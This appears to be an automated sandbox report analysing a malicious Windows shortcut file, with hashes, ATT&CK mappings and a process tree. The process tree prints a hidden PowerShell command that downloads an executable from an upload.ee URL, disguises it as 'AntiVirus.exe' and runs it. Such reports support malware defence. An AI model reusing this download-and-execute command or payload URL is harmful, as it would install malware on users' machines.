d459b471566d70ba7b2b12b4caa8db1def229f69351b6418df9a52b769201005

Analysis

max time kernel
92s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
30/09/2024, 00:09

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General

Target
ff8cc167467fafc1789656bdab467de8_JaffaCakes118.lnk
Size 1KB
Sample240930-afrrhsxclp
SHA256 d459b471566d70ba7b2b12b4caa8db1def229f69351b6418df9a52b769201005
MD5 ff8cc167467fafc1789656bdab467de8
SHA1 ff3f3d924012dbd249dc8cf4e9c33fa2bc5be614
SHA512 22932482f0966c9469e9c701b0acd4852d943d6aac08358c6a7996fbe1471f5e4b3bd140da57a0374b39f7f06f07abf662583261522c118774dc3ee361069bad
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://www.upload.ee/download/7435588/411c441150c712390a6f/server.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	4736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4736	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4736	powershell.exe
4736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4736	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 4736	2480	cmd.exe	83
PID 2480 wrote to memory of 4736	2480	cmd.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ff8cc167467fafc1789656bdab467de8_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2480
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://www.upload.ee/download/7435588/411c441150c712390a6f/server.exe','C:\Users\Admin\AppData\Local\Temp\AntiVirus.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\AntiVirus.exe'
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_yqb0k1w1.d5b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqb0k1w1.d5b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4736-2-0x00007FFC19133000-0x00007FFC19135000-memory.dmp

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memory/4736-9-0x0000020DE1B00000-0x0000020DE1B22000-memory.dmp

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memory/4736-13-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

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memory/4736-14-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

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memory/4736-15-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

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memory/4736-16-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

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memory/4736-19-0x00007FFC19130000-0x00007FFC19BF1000-memory.dmp

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